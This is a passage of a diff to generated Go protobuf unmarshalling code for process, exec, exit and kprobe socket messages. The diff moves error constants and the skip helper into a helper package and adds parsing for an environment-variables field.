- if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Pid); err != nil { - return err - } - } + m.Value = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex - case 3: - if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Uid", wireType) - } - var msglen int - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflow - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - msglen |= int(b&0x7F) << shift - if b < 0x80 { - break - } - } - if msglen < 0 { - return ErrInvalidLength + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err } - postIndex := iNdEx + msglen - if postIndex < 0 { - return ErrInvalidLength + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength } - if postIndex > l { + if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF } - if m.Uid == nil { - m.Uid = &wrapperspb.UInt32Value{} + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Process) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow } - if unmarshal, ok := interface{}(m.Uid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Process: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Process: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ExecId", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Uid); err != nil { - return err + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ExecId = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Pid == nil { + m.Pid = &wrapperspb.UInt32Value{} + } + if err := (*wrapperspb.UInt32Value)(m.Pid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Uid", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Uid == nil { + m.Uid = &wrapperspb.UInt32Value{} + } + if err := (*wrapperspb.UInt32Value)(m.Uid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 4: @@ -9466,7 +9871,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9480,11 +9885,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9498,7 +9903,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9512,11 +9917,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9530,7 +9935,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9544,11 +9949,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9562,7 +9967,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9576,11 +9981,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9594,7 +9999,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9607,11 +10012,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9619,16 +10024,8 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { if m.StartTime == nil { m.StartTime = ×tamppb.Timestamp{} } - if unmarshal, ok := interface{}(m.StartTime).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.StartTime); err != nil { - return err - } + if err := (*timestamppb.Timestamp)(m.StartTime).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 9: @@ -9638,7 +10035,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9651,11 +10048,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9663,16 +10060,8 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { if m.Auid == nil { m.Auid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Auid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Auid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Auid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 10: @@ -9682,7 +10071,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9695,11 +10084,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9718,7 +10107,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9732,11 +10121,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9750,7 +10139,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9764,11 +10153,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9782,7 +10171,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { m.Refcnt = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9801,7 +10190,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9814,11 +10203,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9837,7 +10226,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9850,11 +10239,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9873,7 +10262,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9886,11 +10275,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9898,16 +10287,8 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { if m.Tid == nil { m.Tid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Tid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Tid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Tid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 17: @@ -9917,7 +10298,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9930,11 +10311,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9953,7 +10334,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9966,11 +10347,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9989,7 +10370,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10002,11 +10383,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10025,7 +10406,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10038,11 +10419,11 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10050,26 +10431,52 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { if m.InInitTree == nil { m.InInitTree = &wrapperspb.BoolValue{} } - if unmarshal, ok := interface{}(m.InInitTree).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err + if err := (*wrapperspb.BoolValue)(m.InInitTree).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 21: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field EnvironmentVariables", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.InInitTree); err != nil { - return err + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break } } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.EnvironmentVariables = append(m.EnvironmentVariables, &EnvVar{}) + if err := m.EnvironmentVariables[len(m.EnvironmentVariables)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -10092,7 +10499,7 @@ func (m *ProcessExec) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10120,7 +10527,7 @@ func (m *ProcessExec) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10133,11 +10540,11 @@ func (m *ProcessExec) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10156,7 +10563,7 @@ func (m *ProcessExec) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10169,11 +10576,11 @@ func (m *ProcessExec) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10192,7 +10599,7 @@ func (m *ProcessExec) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10205,11 +10612,11 @@ func (m *ProcessExec) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10221,12 +10628,12 @@ func (m *ProcessExec) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -10249,7 +10656,7 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10277,7 +10684,7 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10290,11 +10697,11 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10313,7 +10720,7 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10326,11 +10733,11 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10349,7 +10756,7 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10363,11 +10770,11 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10381,7 +10788,7 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { m.Status = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10400,7 +10807,7 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10413,11 +10820,11 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10425,16 +10832,8 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { if m.Time == nil { m.Time = ×tamppb.Timestamp{} } - if unmarshal, ok := interface{}(m.Time).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Time); err != nil { - return err - } + if err := (*timestamppb.Timestamp)(m.Time).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 6: @@ -10444,7 +10843,7 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10457,11 +10856,11 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10473,12 +10872,12 @@ func (m *ProcessExit) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -10501,7 +10900,7 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10529,7 +10928,7 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10543,11 +10942,11 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10561,7 +10960,7 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10575,11 +10974,11 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10593,7 +10992,7 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10607,11 +11006,11 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10625,7 +11024,7 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { m.Mark = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10644,7 +11043,7 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { m.Priority = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10663,7 +11062,7 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10677,11 +11076,11 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10695,7 +11094,7 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10709,11 +11108,11 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10727,7 +11126,7 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { m.Sport = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10746,7 +11145,7 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { m.Dport = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10765,7 +11164,7 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { m.Cookie = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10784,7 +11183,7 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10798,11 +11197,11 @@ func (m 